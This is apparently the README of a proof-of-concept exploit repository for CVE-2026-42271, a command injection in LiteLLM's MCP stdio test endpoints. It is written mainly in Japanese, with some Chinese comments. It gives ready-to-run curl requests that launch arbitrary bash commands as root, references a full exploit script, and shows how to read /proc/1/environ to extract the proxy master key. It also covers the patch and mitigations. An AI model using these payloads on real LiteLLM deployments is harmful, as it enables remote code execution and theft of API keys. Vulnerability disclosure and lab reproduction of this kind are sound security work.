CVE-2026-42271 — MCP stdioテストエンドポイントを介したLiteLLMの認証済みコマンドインジェクション

LiteLLM の POST /mcp-rest/test/connection および POST /mcp-rest/test/tools/list — MCP stdioトランスポートを介した認証済みコマンドインジェクション。有効なAPIキーがあれば、任意のOSコマンドをrootとして実行できます（デフォルトのDockerデプロイメントの場合）。

イメージはdigestで固定済み: vulnerableコンテナはLiteLLM v1.82.6 に固定されており、長期的な再現性が保証されます。

説明

保存前にMCPサーバーをプレビューするために使用される2つのエンドポイント — POST /mcp-rest/test/connection と POST /mcp-rest/test/tools/list — は、リクエストボディに完全なMCPサーバー設定を受け入れます。これには stdioトランスポート で使用される command、args、env フィールドが含まれます。

stdio設定で呼び出されると、これらのエンドポイントは指定されたコマンドをプロキシホスト上でサブプロセスとして起動し、プロキシプロセスの権限（デフォルトのDockerではroot）で実行します。

主要な問題: これらのエンドポイントは有効なプロキシAPIキーのみをチェックし、ロールチェックがありません — 低権限の internal_user キーでもこれを悪用できます。

概念実証（PoC）

クイックスタート（Docker）

# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d

# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

実行の検証

# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...

APIは "Failed to connect to MCP server" を返します。これは起動されたプロセスがMCPプロトコルを話さないためですが、コマンドはすでにroot権限で実行されています。

攻撃シナリオ

脆弱なエンドポイント

POST /mcp-rest/test/connection

MCPサーバーへの接続をテストします。stdioトランスポートでは、指定されたコマンドを起動します。

POST /mcp-rest/test/tools/list

テスト用MCPサーバーからツールを一覧表示します。同じ動作 — stdioトランスポートを使用すると、指定されたコマンドを起動します。

リクエストボディの形式

{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<malicious command>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}

パッチ分析（v1.83.7）

修正では2層の防御が追加されました：

1. コマンドホワイトリスト — validate_transport_fields() により、許可されるのは npx、uvx、python、python3、node、docker、deno のみ
2. ロールベースのアクセス制御 — 両エンドポイントは現在 PROXY_ADMIN ロールを要求します

リポジトリ構造

CVE-2026-42271/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Payload generation module
├── docs/
│   └── advisory.md            # Advisory reference
└── screenshots/               # Proof screenshots

緩和策

1. LiteLLM v1.83.7+ にアップグレードする（コマンドホワイトリスト + PROXY_ADMIN ロールチェック）
2. リバースプロキシで /mcp-rest/test/connection と /mcp-rest/test/tools/list をブロックする
3. APIキーの権限を制限する — 侵害が疑われる場合はキーをローテーションする
4. Dockerで非rootとして実行する: docker run --user 1000:1000 ...

⚠️ 注意：MCP SDKの環境変数の隔離

5.7節（プロセス環境変数の抽出） を再現する際の注意：MCP Python SDK v1.25.0+ はstdioサブプロセスを作成する際、LiteLLM親プロセスの環境変数を継承しません。SDKは get_default_environment() を介して HOME と PATH のみを渡し、ユーザーが明示的に指定したenvフィールドをマージします。

したがって env > /tmp/env_dump では LITELLM_MASTER_KEY を取得できません。

正しい方法：LiteLLMメインプロセスの /proc/1/environ を読み取って環境変数を抽出します：

# 提取环境变量（通过 /proc/1/environ）
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key

詳細は 再現レポート の5.7節を参照してください。

参考情報

• GitHubセキュリティアドバイザリ GHSA-v4p8-mg3p-g94g
• GitLabアドバイザリ
• NVD詳細
• v1.83.7-stable リリース
• LiteLLM MCPドキュメント

免責事項: 本コンテンツは教育目的および許可されたセキュリティテストのみのために提供されています。